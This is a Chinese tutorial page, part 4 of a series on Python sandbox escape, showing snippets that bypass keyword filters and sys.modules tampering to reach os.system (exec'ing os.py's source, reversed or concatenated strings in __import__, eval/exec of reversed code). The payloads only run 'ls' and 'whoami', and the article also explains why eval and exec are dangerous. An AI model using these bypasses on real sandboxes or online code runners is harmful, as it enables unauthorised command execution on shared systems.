设为首页 - 加入收藏 ASP站长网(Aspzz.Cn)- 科技、建站、经验、云计算、5G、大数据,站长网!
热搜: 创业者 手机 数据
当前位置: 首页 > 运营中心 > 建站资源 > 策划 > 正文

一文看懂Python沙箱逃逸(4)

发布时间:2019-05-22 17:40 所属栏目:20 来源:Macr0phag3
导读:不过要注意,2.x 才能用,3.x 删了 execfile,不过可以这样: withopen('/usr/lib/python3.6/os.py','r')asf: exec(f.read()) system('ls') 这个方法倒是 2.x、3.x 通用的。 不过要使用上面的这两种方法,就必须知

不过要注意,2.x 才能用,3.x 删了 execfile,不过可以这样:

  1. with open('/usr/lib/python3.6/os.py','r') as f: 
  2.     exec(f.read()) 
  3. system('ls') 

这个方法倒是 2.x、3.x 通用的。

不过要使用上面的这两种方法,就必须知道库的路径。其实在大多数的环境下,库都是默认路径。如果 sys 没被干掉的话,还可以确认一下,:

  1. import sys 
  2. print(sys.path) 

3. 花式处理字符串

代码中要是出现 os,直接不让运行。那么可以利用字符串的各种变化来引入 os:

  1. __import__('so'[::-1]).system('ls') 
  1. b = 'o' 
  2. a = 's' 
  3. __import__(a+b).system('ls') 

还可以利用 eval 或者 exec:

  1. >>> eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1]) 
  2. macr0phag3 
  3. >>> exec(')"imaohw"(metsys.so ;so tropmi'[::-1]) 
  4. macr0phag3 

顺便说一下,eval、exec 都是相当危险的函数,exec 比 eval 还要危险,它们一定要过滤,因为字符串有很多变形的方式,对字符串的处理可以有:逆序、变量拼接、base64、hex、rot13…等等,太多了。。。

4. 恢复 sys.modules

sys.modules 是一个字典,里面储存了加载过的模块信息。如果 Python 是刚启动的话,所列出的模块就是解释器在启动时自动加载的模块。有些库例如 os 是默认被加载进来的,但是不能直接使用,原因在于 sys.modules 中未经 import 加载的模块对当前空间是不可见的。

如果将 os 从 sys.modules 中剔除,os 就彻底没法用了:

  1. >>> sys.modules['os'] = 'not allowed' 
  2. >>> import os 
  3. >>> os.system('ls') 
  4. Traceback (most recent call last): 
  5.   File "<stdin>", line 1, in <module> 
  6. AttributeError: 'str' object has no attribute 'system' 
  7. >>> 

注意,这里不能用 del sys.modules['os'],因为,当 import 一个模块时:import A,检查 sys.modules 中是否已经有 A,如果有则不加载,如果没有则为 A 创建 module 对象,并加载 A。

所以删了 sys.modules['os'] 只会让 Python 重新加载一次 os。

看到这你肯定发现了,对于上面的过滤方式,绕过的方式可以是这样:

  1. sys.modules['os'] = 'not allowed' # oj 为你加的 
  2.  
  3. del sys.modules['os'] 
  4. import os 
  5. os.system('ls') 

最后还有一种利用 __builtins__ 导入的方式,下面会详细说。

5. 花式执行函数

(编辑:ASP站长网)

网友评论
推荐文章
    热点阅读